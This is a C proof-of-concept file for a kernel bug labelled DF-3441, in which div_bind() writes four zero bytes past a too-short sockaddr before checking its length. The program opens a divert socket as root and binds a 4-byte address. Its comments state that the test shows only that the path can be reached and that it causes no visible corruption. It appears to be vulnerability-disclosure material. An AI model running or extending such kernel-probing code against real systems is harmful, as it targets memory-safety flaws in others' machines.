DF-3441 / div3441.c
/* * div3441.c - DF-3441: div_bind() writes sin_addr.s_addr = INADDR_ANY at * offset 4..8 of the caller-supplied sockaddr BEFORE validating its * length. With a 4-byte bind sockaddr (getsockaddr minimum: * {sa_len=4, AF_INET}), the 4-byte zero write lands past the requested * size (inside the 8-byte slab chunk slack, so no adjacent-object * corruption on this allocator). * * Observable: bind() with a 4-byte AF_INET sockaddr does NOT fail with * EAFNOSUPPORT at div_bind's family gate (proving the write-line's * branch executed); it fails later with EINVAL from in_pcbbind's * sa_len check. The write itself has no user-visible effect, and a * fixed div_bind (early sa_len validation) returns the same EINVAL, so * this PoC demonstrates code-path reachability only. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> #ifndef IPPROTO_DIVERT #define IPPROTO_DIVERT 258 #endif int main(void) { int fd, rc; unsigned char tiny[4]; if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_DIVERT)) < 0) { fprintf(stderr, "divert socket: %s (need root)\n", strerror(errno)); return 1; } memset(tiny, 0, sizeof(tiny)); tiny[0] = 4; /* sa_len = 4 */ tiny[1] = AF_INET; /* sa_family */ rc = bind(fd, (struct sockaddr *)tiny, sizeof(tiny)); printf("bind(4B AF_INET sockaddr) = %d errno=%d (%s)\n", rc, errno, strerror(errno)); printf(" EAFNOSUPPORT would mean the family gate rejected before" " the write line;\n" " EINVAL means div_bind's else-branch (the OOB zero-write of" " sin_addr at offset 4..8)\n" " EXECUTED and in_pcbbind later rejected the length.\n"); return 0; } |